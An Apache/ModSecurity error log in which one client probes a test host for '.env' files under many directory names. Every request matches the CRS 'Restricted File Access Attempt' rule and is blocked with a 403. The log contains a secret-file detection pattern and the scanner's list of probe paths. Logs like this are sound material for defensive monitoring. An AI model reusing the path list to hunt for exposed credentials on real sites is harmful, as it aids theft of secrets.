[Wed Feb 25 06:05:15.824326 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uQAAAAM&quot;]
[Wed Feb 25 06:05:15.824485 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uQAAAAM&quot;]
[Wed Feb 25 06:05:15.890507 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-fr-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5ugAAAAM&quot;]
[Wed Feb 25 06:05:15.890807 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5ugAAAAM&quot;]
[Wed Feb 25 06:05:15.890978 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5ugAAAAM&quot;]
[Wed Feb 25 06:05:15.939196 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDYAAAAAU&quot;]
[Wed Feb 25 06:05:15.939518 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDYAAAAAU&quot;]
[Wed Feb 25 06:05:15.939710 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDYAAAAAU&quot;]
[Wed Feb 25 06:05:15.965094 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /letsencrypt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uwAAAAM&quot;]
[Wed Feb 25 06:05:15.965374 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uwAAAAM&quot;]
[Wed Feb 25 06:05:15.965559 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uwAAAAM&quot;]
[Wed Feb 25 06:05:16.015048 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vAAAAAM&quot;]
[Wed Feb 25 06:05:16.015332 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vAAAAAM&quot;]
[Wed Feb 25 06:05:16.015532 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vAAAAAM&quot;]
[Wed Feb 25 06:05:16.130375 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libraries/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vgAAAAM&quot;]
[Wed Feb 25 06:05:16.130660 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vgAAAAM&quot;]
[Wed Feb 25 06:05:16.130862 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vgAAAAM&quot;]
[Wed Feb 25 06:05:16.249777 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vwAAAAM&quot;]
[Wed Feb 25 06:05:16.250184 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vwAAAAM&quot;]
[Wed Feb 25 06:05:16.250490 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5vwAAAAM&quot;]
[Wed Feb 25 06:05:16.302141 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5wAAAAAM&quot;]
[Wed Feb 25 06:05:16.302445 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5wAAAAAM&quot;]
[Wed Feb 25 06:05:16.302632 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5wAAAAAM&quot;]
[Wed Feb 25 06:05:16.416551 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /linux/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5wwAAAAM&quot;]
[Wed Feb 25 06:05:16.416841 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5wwAAAAM&quot;]
[Wed Feb 25 06:05:16.417047 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5wwAAAAM&quot;]
[Wed Feb 25 06:05:16.537883 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /localhost/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5xQAAAAM&quot;]
[Wed Feb 25 06:05:16.538161 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5xQAAAAM&quot;]
[Wed Feb 25 06:05:16.538370 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5xQAAAAM&quot;]
[Wed Feb 25 06:05:16.574729 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /locally/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5xgAAAAM&quot;]
[Wed Feb 25 06:05:16.575078 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5xgAAAAM&quot;]
[Wed Feb 25 06:05:16.575290 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5xgAAAAM&quot;]
[Wed Feb 25 06:05:16.628786 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /log/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ6DDLZegw_qLbSTRXm5yAAAAAM&quot;]
